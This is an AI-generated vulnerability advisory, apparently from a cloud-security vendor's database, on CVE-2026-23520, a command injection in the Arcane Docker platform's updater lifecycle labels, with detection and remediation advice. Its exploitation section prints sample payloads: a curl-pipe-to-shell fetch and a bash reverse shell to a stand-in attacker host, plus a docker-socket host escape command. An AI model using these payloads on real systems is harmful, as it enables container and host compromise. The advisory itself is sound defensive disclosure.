
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-23520 is a command injection vulnerability (CWE-78) in Arcane, a modern Docker management platform, affecting all versions prior to 1.13.0. The flaw resides in Arcane's updater service, where lifecycle label values (com.getarcaneapp.arcane.lifecycle.pre-update and com.getarcaneapp.arcane.lifecycle.post-update) are passed unsanitized directly to /bin/sh -c, enabling arbitrary shell command execution. The vulnerability was reported by researcher DenizParlak, disclosed and patched on January 15, 2026. The GitHub Advisory Database rates it Critical with a CVSS v3.1 score of 9.0 (Scope: Changed), while Feedly's data reflects a base score of 8.0 (High, Scope: Unchanged) (GitHub Advisory, Arcane Advisory).
The root cause is improper neutralization of OS command special elements (CWE-78) in Arcane's Go-based backend updater service. The GetLifecycleCommand function in backend/internal/utils/arcaneupdater/labels.go reads Docker container label values and constructs a command as ["/bin/sh", "-c", <label_value>] without any sanitization or allowlisting. Because the Arcane API permits any authenticated user (not just administrators) to create projects and set arbitrary container labels, an attacker can embed a malicious shell payload in a lifecycle label. Exploitation is triggered when an administrator manually or automatically initiates a container update, causing Arcane to execute the attacker-controlled label value as a shell command inside the target container (GitHub Advisory, Patch Commit).
Successful exploitation results in remote code execution (RCE) within the context of the updated container, with full confidentiality, integrity, and availability impact on that container. If the container has host volume mounts (e.g., /var/run/docker.sock), the attacker can escalate to full host system compromise, enabling data exfiltration, lateral movement to other containers, or complete takeover of the Docker host. Even without sensitive mounts, an attacker can read or write to any host paths mounted into the container and exfiltrate data via outbound network requests (GitHub Advisory, Arcane Advisory).
Public proof-of-concept (PoC) exploit code is available on GitHub at https://github.com/0xzap/CVE-2026-23520 and https://github.com/cypher-21/CVE-2026-23520, and has been indexed by Sploitus. The vulnerability requires low privileges (any authenticated API user) and user interaction (an administrator triggering a container update), making it a realistic threat in multi-user Arcane deployments. There is no confirmed evidence of in-the-wild exploitation at this time, and it is not listed in the CISA KEV catalog. The EPSS score is approximately 0.098% (0.042% per GitHub Advisory), placing it in a low-to-moderate exploitation probability range (GitHub Advisory, Sploitus).
com.getarcaneapp.arcane.lifecycle.pre-update: "curl http://attacker.com/shell.sh | sh"or for a reverse shell:com.getarcaneapp.arcane.lifecycle.pre-update: "bash -i >& /dev/tcp/attacker.com/4444 0>&1"/bin/sh -c <label_value> inside the container, granting the attacker a shell or executing arbitrary commands./var/run/docker.sock or other sensitive host paths are mounted into the container, use Docker socket access to escape the container and compromise the host (e.g., docker run -v /:/host --rm -it alpine chroot /host).
(GitHub Advisory, Patch Commit)curl/wget); unusual DNS queries from Docker containers.updateContainer: starting update) followed by unexpected process spawning; Docker daemon logs recording exec calls with /bin/sh -c and suspicious payloads.bash, sh, curl, wget, nc, python) during or after an update event; new cron jobs or persistent backdoors installed inside containers.com.getarcaneapp.arcane.lifecycle.pre-update or com.getarcaneapp.arcane.lifecycle.post-update labels set to non-empty, non-trivial values (inspect with docker inspect <container> | grep lifecycle).
(GitHub Advisory, Arcane Advisory)The primary remediation is to upgrade Arcane to version 1.13.0 or later, which completely removes the lifecycle label feature (pre-update, post-update, pre-check, post-check) from the updater service, eliminating the attack surface (Arcane Release, Patch Commit). Until patching is possible, restrict API access to trusted users only and enforce strict authentication controls on project creation. Audit all existing projects and containers for suspicious lifecycle label values using docker inspect. Additionally, avoid mounting sensitive host paths (especially /var/run/docker.sock) into containers managed by Arcane, and monitor container update activities for unexpected command execution.
The vulnerability was reported by security researcher DenizParlak and credited in the official Arcane v1.13.0 release notes (Arcane Release). TheHackerWire covered the disclosure on social media (Mastodon and Bluesky), and the vulnerability was picked up by aggregators including CyberHub Blog and CCN-CERT. Community reaction has been moderate, consistent with a niche Docker management tool; no major vendor statements beyond the maintainer's advisory have been issued.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."